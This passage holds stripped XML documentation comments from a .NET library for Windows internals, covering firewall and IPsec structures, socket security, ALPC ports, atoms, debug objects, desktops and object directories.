filtering. It's not used by WFP. + + + + User SID. + + This is only used for local filtering. It's not used by WFP. + + + + Constructor from a token. + + The token to constructo from. + + + + Constructor. + + The list of SIDs. + The list of restricted SIDs. + + + + Class to scope a firewall transaction. + + + + + Abort the transaction. + + True to throw on error. + The NT status code. + + + + Abort the transaction. + + + + + Commit the transaction. + + True to throw on error. + The NT status code. + + + + Commit the transaction. + + + + + Dispose the transaction. Will ca + + + + + Flags when creating a transaction. + + + + + No flags, creates a read/write transaction. + + + + + Read-only transaction. + + + + + Static class for firewall utility functions. + + + + + Name for fake NT type. + + + + + Name for fake filter NT type. + + + + + Get the NT type for the firewall. + + + + + Get the NT type for the firewall. + + + + + Get the generic mapping for a firewall object. + + The firewall object generic mapping. + + + + Get the generic mapping for a firewall filter object. + + The firewall filter object generic mapping. + + + + Get App ID from a filename. + + The filename to convert. + True to throw on error. + The App ID. + + + + Get App ID from a filename. + + The filename to convert. + The App ID. + + + + Get a list of known layer names. + + The list of known layer names. + + + + Get a list of known layer guids. + + The list of known layer guids. + + + + Get a known layer GUID from its name. + + The name of the layer. + The known layer GUID. + + + + Get a known callout GUID from its name. + + The name of the callout. + The known callout GUID. + + + + Get a list of known sub-layer names. + + The list of known sub-layer names. + + + + Get a list of known callout names. + + The list of known callout names. + + + + Get a list of known sub-layer guids. + + The list of known sub-layer guids. + + + + Get a known sub-layer GUID from its name. + + The name of the sub-layer. + The known sub-layer GUID. + + + + Get a layer GUID for an ALE layer enumeration. + + The ALE layer enumeration. + The ALE layer GUID. + + + + Firewall value. + + + + + Type of the value. + + + + + The raw value. + + + + + The context specific value, might be the same as the original. + + + + + Get a value which represents Empty. + + + + + Create a value from a security descriptor. + + The security descriptor. + The firewall value. + + + + Create a value from a SID. + + The SID. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The IPv4 address. + The IPv4 mask. + The firewall value. + + + + Create a value. + + The IPv6 address. + The prefix length. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a range value. + + The low value. + The high value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Create a value. + + The value. + The firewall value. + + + + Overridden ToString method. + + The value as a string. + + + + Class to represent a certificate credential. + + + + + Certificate subject name. + + + + + Certificatehash. + + + + + Flags. + + + + + Certificate. + + + + + Overridden ToString method. + + The pair as a string. + + + + Class to represent an IKE credential. + + + + + Authentication method type. + + + + + Impersonation type. + + + + + Overridden ToString method. + + The pair as a string. + + + + Structure to represent a pair of credentials. + + + + + Local credentials. + + + + + Peer credentials. + + + + + Overridden ToString method. + + The pair as a string. + + + + IKEEXT EM failure flags. + + + + + Flag indicating that multiple IKE EM failure events have been reported that + should be correlated using the mmId field. + + + + + Flag indicating that the IKE EM failure event is a benign/expected failure + + + + + IKE extended mode states + + + + + Initial state. No EM packets have been sent to the peer yet. + + + + + State corresponding to the first EM roundtrip + + + + + State corresponding to the second EM roundtrip + + + + + State corresponding to the final EM roundtrip + + + + + State corresponding to the final EM roundtrip + + + + + EM has been completed + + + + + IKEEXT MM failure flags. + + + + + Flag indicating that the IKE MM failure event is a benign/expected failure. + + + + + Flag indicating that multiple IKE MM failure events have been reported that + should be correlated using the mmId field. + + + + + IKE main mode states + + + + + Initial state. No MM packets have been sent to the peer yet. + + + + + First roundtrip packet has been sent to the peer. + + + + + Second roundtrip packet has been sent to the peer, for SSPI auth. + + + + + Second roundtrip packet has been sent to the peer. + + + + + Final roundtrip packet has been sent to the peer. + + + + + MM has been completed. + + + + + IKE quick mode states + + + + + Initial state. No QM packets have been sent to the peer yet. + + + + + State corresponding to the first QM roundtrip + + + + + State corresponding to the final QM roundtrip + + + + + QM has been completed. + + + + + IKE main mode or quick mode SA role + + + + + SA is initiator + + + + + SA is responder + + + + + Class to represent an IKE name credential. + + + + + The credential principal name. + + + + + Overridden ToString method. + + The pair as a string. + + + + Class to represent an IKE pre-shared key credential. + + + + + The pre-shared key. + + + + + Key flags. + + + + + Class to represent an IKE security association. + + + + + ID for the security association. + + + + + Key module type. + + + + + The local address of the association. + + + + + The remote address of the association. + + + + + Initiator cookie. + + + + + Responder cookie. + + + + + IKE policy key, + + + + + Virtual interface tunnel ID. + + + + + Correlation key. + + + + + List of credentials. + + + + + Cipher algorithm for the security association. + + + + + Length of the key. + + + + + Number of rounds. + + + + + Integrity algorithm for the security association. + + + + + Maximum lifetime in seconds. + + + + + Diffie-Hellman group. + + + + + Quick mode limit. + + + + + IPsec auth config. + + + + + IPsec authentication type. + + + + + IPsec Cipher Configuration. + + + + + IPSec Cipher Type. + + + + + Type used for indicating where an IPsec failure occured. + + + + + No information available. + + + + + IPsec failure happened on local machine. + + + + + IPsec failure happened on remote machine. + + + + + Class to represent a IPsec identity + + + + + Main-mode target name. + + + + + Extended mode target name. + + + + + List of tokens. + + + + + Explicit credentials handle. + + + + + Logon ID. + + + + + Class to prepresent a key manager. + + + + + The manager's key. + + + + + The manager's name. + + + + + The manager's description. + + + + + The manager's flags. + + + + + The manager's dictation timeout hint. + + + + + Flags for IPsec key manager. + + + + + IPsec perfect forward secrecy group. + + + + + Class to represent the details of an IPsec security association. + + + + + Directory of SA. + + + + + Local endpoint. + + + + + Remote endpoint. + + + + + Traffic type. + + + + + Traffic type ID. + + + + + IP protocol type. + + + + + Interface LUID. + + + + + Real interface profile ID. + + + + + The SA bundle. + + + + + Local IPv4 UDP encapsulation port. + + + + + Remote IPv4 UDP encapsulation port. + + + + + Transport filter. + + + + + Virtual interface tunnel ID. + + + + + Traffic selector ID. + + + + + Overridden ToString method. + + The overridden ToString method. + + + + Class to represent a security association bundle. + + + + + Flags for the SA. + + + + + SA lifetime in seconds. + + + + + SA lifetime in KiB. + + + + + SA lifetime in packets. + + + + + Idle timeout. + + + + + ND allow clear timeout. + + + + + Identity for IPsec SA. + + + + + NAP context. + + + + + Quick-mode SA ID. + + + + + Key module key. + + + + + Key module state blob. + + + + + List of security association parameters. + + + + + Peer V4 private address. + + + + + Main-mode SA ID. + + + + + PFS group. + + + + + SA lookup context. + + + + + QM filter ID. + + + + + IPsec SA bundle flags. + + + + + Negotiation discovery is enabled in secure ring. + + + + + Negotiation discovery in enabled in the untrusted perimeter zone. + + + + + Peer is in untrusted perimeter zone ring and a network address translation (NAT) is in the way. Used with negotiation discovery. + + + + + Indicates that this is an SA for connections that require guaranteed encryption. + + + + + Indicates that this is an SA to an NLB server. + + + + + Indicates that this SA should bypass machine LUID verification. + + + + + Indicates that this SA should bypass impersonation LUID verification. + + + + + Indicates that this SA should bypass explicit credential handle matching. + + + + + Allows an SA formed with a peer name to carry traffic that does not have an associated peer target. + + + + + Clears the DontFragment bit on the outer IP header of an IPsec-tunneled packet. This flag is applicable only to tunnel mode SAs. + + + + + Default encapsulation ports (4500 and 4000) can be used when matching this SA with packets on outbound connections that do not have an associated IPsec-NAT-shim context. + + + + + Peer has negotiation discovery enabled, and is on a perimeter network. + + + + + Suppresses the duplicate SA deletion logic. THis logic is performed by the kernel when an outbound SA is added, to prevent unnecessary duplicate SAs. + + + + + Indicates that the peer computer supports negotiating a separate SA for connections that require guaranteed encryption. + + + + + Class to represent an IPsec security association context. + + + + + ID of the context. + + + + + Inbound security association. + + + + + Outbound security association. + + + + + Base security association class. + + + + + Index of the security parameter (SPI). + + + + + Transform type. + + + + + IPsec SA authentication information. + + + + + Type of authentication. + + + + + Authentication configuration. + + + + + Module ID for the crypto. + + + + + Authentication key. + + + + + IPsec SA authentication information. + + + + + Type of cipher. + + + + + Cipher configuration. + + + + + Module ID for the crypto. + + + + + Cipher key. + + + + + IPsec SA authentication information. + + + + + Type of authentication. + + + + + Authentication configuration. + + + + + Modify ID for the crypto. + + + + + Authentication key. + + + + + Type of cipher. + + + + + Cipher configuration. + + + + + Module ID for the crypto. + + + + + Cipher key. + + + + + Class to represent an IPsec token. + + + + + Type of token. + + + + + Token principal. + + + + + Token mode. + + + + + Handle to the token. + + + + + Get the token from the IKEEXT service. + + True to throw on error. + The token. + + + + Get the token from the IKEEXT service. + + The token. + + + + IPsec traffic type. + + + + + Network interface type. + + See https://www.iana.org/assignments/ianaiftype-mib + + + + Network layer address type. + + + + + Type of network tunnel. + + + + + Endpoint implementation for a HyperV socket. + + + + + Address family. + + + + + Protocol type for HyperV sockets. + + + + + Default constructor. + + + + + Constructor. + + + + + Get or set the service ID. + + + + + Get or set the VM ID. + + + + + Address family. + + + + + Serialize the socket address. + + The serialized address. + + + + Create a endpoint from a socket address. + + The socket address. + The created endpoint. + + + + Overridden ToString method. + + The endpoint as a string. + + + + Overridden equals method. + + The object to compare. + True if the objects are equal. + + + + Get endpoint hash code. + + The hashcode. + + + + GUIDs for HyperV Sockets. + + + + + Allows accepting connections from all partitions. + + + + + Broadcast. Send to all sockets. + + + + + Allows accepting connections form all child partitions. + + + + + Connect or bind to the loopback address. + + + + + Connect to the parent container. + + + + + Connect to the silo host container. + + + + + VSOCK template GUID. + + + + + Create an address for a VSOCK port. + + The VSOCK port. + The address. + + + + Checks if an address is a VSOCK address. + + The address to check. + True if a VSOCK address. + + + + Get the port for a VSOCK address. + + The address to query. + The VSOCK port. + Throw if not a valid VSOCK address. + + + + Convert an address to a string. + + The address to convert. + The converted address. If not symbolic name found will return the GUID as a string. + + + + Class to represent current socket security configuration. + + + + + Access token for the peer application. + + + + + Access token for the peer machine. + + + + + Socket security flags. + + + + + Security association ID for main mode. + + + + + Security association ID for quick mode. + + + + + Negotiation windows error. + + + + + Security association lookup context. Can be used to bypass security + checks for querying the security association information from the + firewall. + + + + + Dispose method. + + + + + Socket security IPsec flags. + + + + + Flags for querying socket security fields. + + + + + Flags for querying socket security information. + + + + + Socket security query flags. + + + + + Socket security setting flags. + + + + + Settings for socket security + + + + + The security flags. + + + + + The IPsec flags. + + + + + AuthIP MM policy key. + + + + + AuthIP QM policy key. + + + + + User credentials. + + + + + Authentication ID of a user, needs kernel mode to set. + + + + + Utilities for socket security. + + + + + Impersonate the socket's peer. + + The socket to impersonate. + Optional peer address. Only needed for datagram sockets. + True to throw on error. + The impersonation context. + + + + Impersonate the socket's peer. + + The socket to impersonate. + Optional peer address. Only needed for datagram sockets. + The impersonation context. + + + + Impersonate the socket's peer. + + The TCP client to impersonate. + True to throw on error. + The impersonation context. + + + + Impersonate the socket's peer. + + The TCP client to impersonate. + The impersonation context. + + + + Query the socket security information. + + The socket to query. + Optional peer address. Only needed for datagram sockets. + Optional desired access for peer tokens. If set to None then no tokens will be returned. + True to throw on error. + The socket security information. + + + + Query the socket security information. + + The socket to query. + Optional peer address. Only needed for datagram sockets. + Optional desired access for peer tokens. If set to None then no tokens will be returned. + The socket security information. + + + + Query the socket security information. + + The TCP client to query. + Optional desired access for peer tokens. If set to None then no tokens will be returned. + True to throw on error. + The socket security information. + + + + Query the socket security information. + + The TCP client to query. + Optional desired access for peer tokens. If set to None then no tokens will be returned. + The socket security information. + + + + Set the socket security information. + + The socket to set. + The security settings. + True to throw on error. + The NT status code. + + + + Set the socket security information. + + The socket to set. + The security settings. + + + + Set the socket security information. + + The TCP listener to set. + The security settings. + True to throw on error. + The NT status code. + + + + Set the socket security information. + + The TCP listener to set. + The security settings. + + + + Set the socket security information. + + The TCP client to set. + The security settings. + True to throw on error. + The NT status code. + + + + Set the socket security information. + + The TCP client to set. + The security settings. + + + + Set target peer for socket. + + The socket to set. + The target name. + Optional peer address. Only needed for datagram sockets. + True to throw on error. + The NT status code. + + + + Set target peer for socket. + + The socket to set. + The target name. + Optional peer address. Only needed for datagram sockets. + + + + Set target peer for socket. + + The socket to set. + The target name. + True to throw on error. + The NT status code. + + + + Set target peer for socket. + + The socket to set. + The target name. + + + + Set target peer for socket. + + The socket to set. + The target name. + True to throw on error. + The NT status code. + + + + Set target peer for socket. + + The socket to set. + The target name. + + + + Delete target peer for socket. + + The socket to set. + Peer address. + True to throw on error. + The NT status code. + + + + Security protocol for a socket. + + + + + Endpoint implementation for a AF_UNIX socket. + + + + + Default constructor. + + + + + Constructor. + + The path to the unix socket. + + + + Get or set the path. + + + + + Address family. + + + + + Serialize the socket address. + + The serialized address. + + + + Create a endpoint from a socket address. + + The socket address. + The created endpoint. + + + + Overridden ToString method. + + The endpoint as a string. + + + + Overridden equals method. + + The object to compare. + True if the objects are equal. + + + + Get endpoint hash code. + + The hashcode. + + + + A class to represent a TLS record. + + + + + TLS record type. + + + + + Version of protocol. + + + + + The record data. + + + + + Parse a TLS record from a binary reader. + + The reader to read from. + The parsed TLS record. + + + + Parse a TLS record from a byte array. + + The byte array. + The parsed TLS record. + + + + Type for a TLS record. + + + + + Change cipher spec. + + + + + Alert. + + + + + Handshake. + + + + + Application data. + + + + + Class to represent an ALPC port. + + + + + Disconnect this port. + + Disconection flags. + True to throw on error. + The NT status code. + + + + Disconnect this port. + + Disconection flags. + + + + Disconnect this port. + + + + + Cancel a message based on a context attribute. + + Cancellation flags. + The context attributes. + True to throw on error. + The NT status code. + + + + Cancel a message based on a context attribute. + + Cancellation flags. + The context attributes. + + + + Cancel a message based on a context attribute. + + The context attributes. + + + + Send and receive messages on an ALPC port. + + Send/Receive flags. + The message to send. Optional. + The attributes to send with the message. Optional. + The message to receive. Optional. + The attributes to receive with the message. Optional. + Time out for the send/receive. + True to throw on error. + The NT status code. + The attribute parameters will be repopulated with the attribute results. + + + + Send and receive messages on an ALPC port. + + Send/Receive flags. + The message to send. Optional. + The attributes to send with the message. Optional. + The message to receive. Optional. + The attributes to receive with the message. Optional. + Time out for the send/receive. + True if completed successfully, false if timed out. + Thrown on error. + + + + Send a message on an ALPC port. + + Send flags. + The message to send. Optional. + The attributes to send with the message. Optional. + Time out for the send/receive. + True to throw on error. + The NT status code. + The attribute parameters will be repopulated with the attribute results. + + + + Send a message on an ALPC port. + + Send flags. + The message to send. Optional. + The attributes to send with the message. Optional. + Time out for the send/receive. + The attribute parameters will be repopulated with the attribute results. + True if completed successfully, false if timed out. + Thrown on error. + + + + Send a message on an ALPC port. + + Send flags. + The message to send. Optional. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The maximum length to receive. + The attributes to receive with the message. Optional. + Time out for the send/receive. + True to throw on error. + The received message. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The maximum length to receive. + The attributes to receive with the message. Optional. + Time out for the send/receive. + The received message. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The maximum length to receive. + The attributes to receive with the message. Optional. + The received message. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The maximum length to receive. + The received message. + The attribute parameters will be repopulated with the attribute results. + + + + Receive a message on an ALPC port. + + Receive flags. + The attributes to receive with the message. Optional. + Time out for the send/receive. + True to throw on error. + The received message. + The attribute parameters will be repopulated with the attribute results. + The type of structure to receive. + + + + Receive a message on an ALPC port. + + Receive flags. + The attributes to receive with the message. Optional. + Time out for the send/receive. + The attribute parameters will be repopulated with the attribute results. + The type of structure to receive. + + + + Receive a message on an ALPC port. + + Receive flags. + The attributes to receive with the message. Optional. + The attribute parameters will be repopulated with the attribute results. + The type of structure to receive. + + + + Receive a message on an ALPC port. + + Receive flags. + The type of structure to receive. + + + + Impersonate client of port for a message. + + The message send by the client. + Impersonation flags. + Required impersonation level. Need to set RequiredImpersonationLevel flag as well. + True to throw on error. + Thread impersonation context. + + + + Impersonate client of port for a message. + + The message send by the client. + Impersonation flags. + Required impersonation level. Need to set RequiredImpersonationLevel flag as well. + Thread impersonation context. + + + + Impersonate client of port for a message. + + The message send by the client. + Thread impersonation context. + + + + Impersonate client container of port for a message. + + The message send by the client. + Impersonation flags. + True to throw on error. + Thread impersonation context. + + + + Impersonate client container of port for a message. + + The message send by the client. + Impersonation flags. + Thread impersonation context. + + + + Impersonate client container of port for a message. + + The message send by the client. + Thread impersonation context. + + + + Open the process of the message sender. + + The sent message. + Optional flags. Currently none defined. + The desired access for the process. + Optional object attributes. + True to throw on error. + The opened process object. + + + + Open the process of the message sender. + + The sent message. + Optional flags. Currently none defined. + The desired access for the process. + Optional object attributes. + The opened process object. + + + + Open the process of the message sender. + + The sent message. + The desired access for the process. + The opened process object. + + + + Open the process of the message sender with maximum privileges. + + The sent message. + The opened process object. + + + + Open the thread of the message sender. + + The sent message. + Optional flags. Currently none defined. + The desired access for the thread. + Optional object attributes. + True to throw on error. + The opened thread object. + + + + Open the thread of the message sender. + + The sent message. + Optional flags. Currently none defined. + The desired access for the thread. + Optional object attributes. + The opened thread object. + + + + Open the thread of the message sender. + + The sent message. + The desired access for the thread. + The opened thread object. + + + + Open the thread of the message sender with maximum privileges. + + The sent message. + The opened thread object. + + + + Associate an IO completion port with this ALPC port. + + The IO completion object. + Optional completion key. + True to throw on error. + The NT status code. + + + + Associate an IO completion port with this ALPC port. + + The IO completion object. + Optional completion key. + The NT status code. + + + + Check if the current SID matches the connected SID. + + The SID to compare. + True to throw on error. + True if the connected SID matches the specified SID. + + + + Check if the current SID matches the connected SID. + + The SID to compare. + True if the connected SID matches the specified SID. + + + + Create a new port section. + + Flags for the port section. + Optional backing section. + Size of the section to create. + True to throw on error. + The created port section. + + + + Create a new port section. + + Flags for the port section. + Optional backing section. + Size of the section to create. + The created port section. + + + + Create a new port section. + + Flags for the port section. + Size of the section to create. + The created port section. + + + + Create a new port section. + + Size of the section to create. + The created port section. + + + + Get a handle entry for a message. + + The handle index to get. + The associated message. + True to throw on error. + The ALPC handle entry. + + + + Get a handle entry for a message. + + The handle index to get. + The associated message. + The ALPC handle entry. + + + + Create a security context. + + Flags for the creation. + Security quality of service. + True to throw on error. + The created security context. + + + + Create a security context. + + Flags for the creation. + Security quality of service. + The created security context. + + + + Create a security context. + + Security quality of service. + The created security context. + + + + Create a security context. + + The created security context. + + + + Set port attribute flags. + + The flags to set. + True to throw on error. + The NT status code. + + + + Method to query information for this object type. + + The information class. + The buffer to return data in. + Return length from the query. + The NT status code for the query. + + + + Method to set information for this object type. + + The information class. + The buffer to set data from. + The NT status code for the set. + + + + Port flags. + + + + + Port sequence number. + + + + + Port context. + + + + + Class to represent an ALPC client port. + + + + + Connect to an ALPC port. + + The path to the port. + Object attributes for the handle. Optional. + Attributes for the port. Optional. + Send flags for the initial connection message. + Required SID for the server. + Initial connection message. + Outbound message attributes. + Inbound message atributes. + Connect timeout. + True to throw on error. + The connected ALPC port. + + + + Connect to an ALPC port. + + The path to the port. + Object attributes for the handle. Optional. + Attributes for the port. Optional. + Send flags for the initial connection message. + Required SID for the server. + Initial connection message. + Outbound message attributes. + Inbound message atributes. + Connect timeout. + The connected ALPC port. + Thrown on error. + + + + Connect to an ALPC port. + + The name of the port to connect to. + Attributes for the port. + The connected ALPC port object. + + + + Connect to an ALPC port. + + Object attribute for the port name. + Object attributes for the handle. Optional. + Attributes for the port. Optional. + Send flags for the initial connection message. + Required security descriptor for the server. + Initial connection message. + Outbound message attributes. + Inbound message atributes. + Connect timeout. + True to throw on error. + The connected ALPC port. + Only available on Windows 8+. + + + + Connect to an ALPC port. + + Object attribute for the port name. + Object attributes for the handle. Optional. + Attributes for the port. Optional. + Send flags for the initial connection message. + Required security descriptor for the server. + Initial connection message. + Outbound message attributes. + Inbound message atributes. + Connect timeout. + The connected ALPC port. + Thrown on error. + + + + Connect to an ALPC port. + + Object attribute for the port name. + Attributes for the port. + The connected ALPC port object. + + + + Get the server process information. + + True to throw on error. + The process information. + + + + Get the server process information. + + The process information. + + + + Get the server process ID. + + + + + Get the server session ID. + + + + + Class to represent an ALPC server port. + + + + + Create an ALPC port. + + The object attributes for the port. + The attributes for the port. + True to throw on error. + The created object. + + + + Create an ALPC port. + + The object attributes for the port. + The attributes for the port. + The created object. + Thrown on error. + + + + Create an ALPC port. + + The name of the port to create. + The attributes for the port. + The created object. + Thrown on error. + + + + Accept a new connection on a port. + + The message send flags. + Object attributes. Optional. + The attributes for the port. + Port context. Optional. + Connect request message. + Connect request attributes. + True to accept the connection. + True to throw on error. + The accepted port. + + + + Accept a new connection on a port. + + The message send flags. + Object attributes. Optional. + The attributes for the port. + Port context. Optional. + Connect request message. + Connect request attributes. + True to accept the connection. + The accepted port. + + + + Accept a new connection on a port. + + The message send flags. + Connect request message. + Connect request attributes. + True to accept the connection. + The accepted port. + + + + Access rights for ALPC + + + + + ALPC Port Information Class + + + + + If set then object duplication won't complete. Used by RPC to ensure + multi-handle attributes don't fail when receiving. + + + + + Use in a reply to release the view. + + + + + Automatically release the view once it's passed to the receiver. + + + + + Make the data view secure. + + + + + When used all structures passed to kernel need to be 64 bit versions. + + + + + Static utilities for ALPC. + + + + + Wait for the result to complete. This could be waiting on an event + or the file handle. + + Wait timeout. Will cancel the operation if it times out. + Returns true if the wait completed successfully. + If true is returned then status and information can be read out. + + + + Wait for the result to complete asynchronously. This could be waiting on an event + or the file handle. + + Cancellation token. + Returns true if the wait completed successfully. + If true is returned then status and information can be read out. + + + + Return the status information field. + + Thrown if not complete. + + + + Return the status information field. (32 bit) + + Thrown if not complete. + + + + Get completion status code. + + Thrown if not complete. + + + + Returns true if the call is pending. + + + + + Dispose object. + + + + + Reset the file result so it can be reused. + + + + + Cancel the pending IO operation. + + + + + Cancel the pending IO operation. + + True to throw on error. + The NT status code. + + + + Class to handle NT atoms + + + + + Add a global atom name + + The name to add + Flags for the add. + True to throw on error. + A reference to the atom + + + + Add a global atom name + + The name to add + Flags for the add. + A reference to the atom + + + + Add a global atom name + + The name to add + True to throw on error. + A reference to the atom + + + + Add a global atom name + + The name to add + A reference to the atom + + + + Find a global atom by name. + + The name of the atom. + True to throw on error. + The found atom. + + + + Find a global atom by name. + + The name of the atom. + The found atom. + + + + Query if a global atom exists. + + The atom to check. + True if the atom exists. + + + + Query if the atom exists. + + The atom to check. + Specify true to check for a global atom, otherwise gets a user atom. + True if the atom exists. + + + + Open a global atom by number. + + The atom to open. + True to check atom exists. + True to open a global atom, otherwise a user atom. + True to throw on error. + The atom object. + + + + Open a global atom by number. + + The atom to open. + True to check atom exists. + True to throw on error. + The atom object. + + + + Open a global atom by number. + + The atom to open. + True to check atom exists. + The atom object. + + + + Open a global atom by number. + + The atom to open. + The atom object. + + + + Enumerate all atoms. + + An enumeration of all atoms on the system. + + + + Enumerate all global atoms. + + An enumeration of all atoms on the system. + + + + Delete a global atom. + + True to throw on error. + The NT status code. + + + + Delete a global atom. + + + + + Get the name of the atom. + + True to throw on error. + The name of the atom. + + + + The atom value + + + + + Get the name of the atom. + + The name of the atom + + + + If true indicates this is a global atom, otherwise it's a user atom. + + + + + Class representing a NT Debug object + + + + + Create a debug object + + The debug object name (can be null) + The root directory for relative names + Debug object flags. + The debug object + + + + Create a debug object + + Desired access for the debug object + Object attributes for debug object + Debug object flags. + The debug object + + + + Create a debug object + + Desired access for the debug object + Object attributes for debug object + Debug object flags. + True to throw an exception on error. + The NT status code and object result. + + + + Create a debug object + + The debug object + + + + Open a named debug object + + The debug object name + The root directory for relative names + Desired access for the debug object + The debug object + + + + Open a named debug object + + The object attributes to open. + Desired access for the debug object + The debug object + + + + Open a named debug object + + The object attributes to open. + Desired access for the debug object + True to throw an exception on error. + The NT status code and object result. + + + + Open the current thread's debug object. + + True to throw on error. + The opened debug object. Returns null if no object exists. + + + + Open the current thread's debug object. Returns null if no object exists. + + + + + Attach to an active process. + + The process to debug. + True to throw on error. + The NT status code. + + + + Attach to an active process. + + The process ID to debug. + True to throw on error. + The NT status code. + + + + Attach to an active process. + + The process to debug. + + + + Attach to an active process. + + The process ID to debug. + + + + Detach a process from this debug object. + + The process to remove. + True to throw on error. + The NT status code. + + + + Detach a process from this debug object. + + The process to remove. + + + + Detach a process from this debug object. + + The process ID to remove. + True to throw on error. + The NT status code. + + + + Detach a process from this debug object. + + The process ID to remove. + + + + Set kill process on close flag. + + The flag state. + True to throw on error. + The NT status code. + + + + Set kill process on close flag. + + The flag state. + + + + Continue the debugged process. + + The client ID for the process and thread IDs. + The continue status code. + True to throw on error. + The NT status code. + + + + Continue the debugged process. + + The process ID to continue. + The thread ID to continue. + The continue status code. + True to throw on error. + The NT status code. + + + + Continue the debugged process. + + The client ID for the process and thread IDs. + The continue status code. + + + + Continue the debugged process. + + The process ID to continue. + The thread ID to continue. + The continue status code. + + + + Continue the debugged process with a success code. + + The process ID to continue. + The thread ID to continue. + + + + Wait for a debug event. + + True to set the thread as alertable. + Wait timeout. + True to throw on error. + The debug event. + + + + Wait for a debug event. + + True to set the thread as alertable. + Wait timeout. + The debug event. + + + + Wait for a debug event. + + Wait timeout. + The debug event. + + + + Wait for a debug event. + + Wait timeout in milliseconds. + The debug event. + + + + Wait for a debug event. + + The debug event. + + + + Class which represents a desktop object. + + + + + Open a desktop by name. + + The object attributes for opening. + Flags for opening the desktop. + Desired access. + True to throw on error. + The instance of the desktop. + Thrown on error. + + + + Open a desktop by name. + + The object attributes for opening. + Flags for opening the desktop. + Desired access. + The instance of the desktop. + Thrown on error. + + + + Open a desktop by name. + + The name of the desktop. + Optional root object + An instance of NtDesktop. + Thrown on error. + + + + Open a desktop by name. + + The name of the desktop. + An instance of NtDesktop. + + + + Create a new desktop. + + The object attributes for opening. + Flags for opening the desktop. + Desired access. + True to throw on error. + Device name. + Device mode. + Heap size. + An instance of NtDesktop. + + + + Create a new desktop. + + The object attributes for opening. + Flags for opening the desktop. + Desired access. + Device name. + Device mode. + Heap size. + An instance of NtDesktop. + + + + Create a new desktop. + + The name of the desktop. + Optional root object + An instance of NtDesktop. + + + + Create a new desktop. + + The name of the desktop. + An instance of NtDesktop. + + + + Get the desktop for a thread. + + The thread ID of the thread. + True to throw on error. + The desktop result. + + + + Get the desktop for a thread. + + The thread ID of the thread. + The desktop result. + + + + Get desktop for current thread. + + + + + Get list of top level Windows for this Desktop. + + + + + Close the Desktop. This is different from normal Close as it destroys the Desktop. + + True to throw on error. + The NT status. + + + + NT Directory Object class + + + + + Open a directory object + + The object attributes to use for the open call. + Access rights for directory object + True to throw an exception on error. + The NT status code and object result. + Thrown on error and throw_on_error is true. + + + + Open a directory object + + The object attributes to use for the open call. + Access rights for directory object + The directory object + Throw on error + + + + Open a directory object by name + + The directory object to open + Optional root directory to parse from + Access rights for directory object + The directory object + Throw on error + + + + Open a directory object by name + + The directory object to open + Optional root directory to parse from + Access rights for directory object + True to throw an exception on error. + The directory object + Throw on error + + + + Open a directory object by full name + + The directory object to open + The directory object + Throw on error + + + + Create a directory object with a shadow + + The object attributes to create the directory with + The desired access to the directory + The shadow directory + Flags for creation. + True to throw an exception on error. + The NT status code and object result. + Thrown on error and throw_on_error is true. + + + + Create a directory object with a shadow + + The object attributes to create the directory with + The desired access to the directory + The shadow directory + True to throw an exception on error. + The NT status code and object result. + Thrown on error and throw_on_error is true. + + + + Create a directory object with a shadow + + The object attributes to create the directory with + The desired access to the directory + The shadow directory + Flags for creation. + The directory object + Thrown on error + + + + Create a directory object with a shadow + + The object attributes to create the directory with + The desired access to the directory + The shadow directory + The directory object + Thrown on error + + + + Create a directory object + + The directory object to create, if null will create a unnamed directory object + The desired access to the directory + Root directory from where to start the creation operation + The directory object + Thrown on error + + + + Create a directory object with a shadow + + The directory object to create, if null will create a unnamed directory object + The desired access to the directory + Root directory from where to start the creation operation + The shadow directory + The directory object + Thrown on error + + + + Create a directory object + + The directory object to create, if null will create a unnamed directory object + The directory object + Thrown on error + + + + Open a session directory. + + The session ID to open + Sub directory to open. + Desired access to open directory. + The directory object + Thrown on error + + + + Open the current session directory. + + The directory object + Thrown on error + + + + Open the current session directory. + + The directory object + Thrown on error + + + + Open basenamedobjects for a session. + + The session ID to open + The directory object + Thrown on error + + + + Open basenamedobjects for current session. + + The directory object + Thrown on error + + + + Get the based named object's directory for a session. + + The session ID + The based named object's directory. + + + + Get the based named object's directory for the current session. + + The based named object's directory. + + + + Get the a session's Windows object directory. + + The session id to use. + The path to the windows object directory. + + + + Get the current session's Windows object directory. + + The path to the windows object directory. + + + + Get the a session's Window Stations object directory. + + The session id to use. + The path to the window stations object directory. + + + + Get the current session's Window Stations object directory. + + The path to the window stations object directory. + + + + Open dos devices directory for a token. + + The directory object + Thrown on error + + + + Open dos devices directory for current effective token. + + The directory object + Thrown on error + + + + Create a private namespace directory. + + Object attributes for the directory + Boundary descriptor for the namespace + Desired access for the directory + True to throw an exception on error. + The directory object + Thrown on error + + + + Create a private namespace directory. + + Object attributes for the directory + Boundary descriptor for the namespace + Desired access for the directory + The directory object + Thrown on error + + + + Create a private namespace directory. + + Boundary descriptor for the namespace + The directory object + Thrown on error + + + + Open a private namespace directory. + + Object attributes for the directory + Boundary descriptor for the namespace + Desired access for the directory + True to throw an exception on error. + The directory object + Thrown on error + + + + Open a private namespace directory. + + Object attributes for the directory + Boundary descriptor for the namespace + Desired access for the directory + The directory object + Thrown on error + + + + Open a private namespace directory. + + Boundary descriptor for the namespace + The directory object + Thrown on error + + + + Returns whether a directory exists for this path. + + The path to the entry. + The root directory. + True if the directory exists for the specified path. + + + + Get the type of a directory entry by path. + + The path to the directory entry + The root object to look up if path is relative 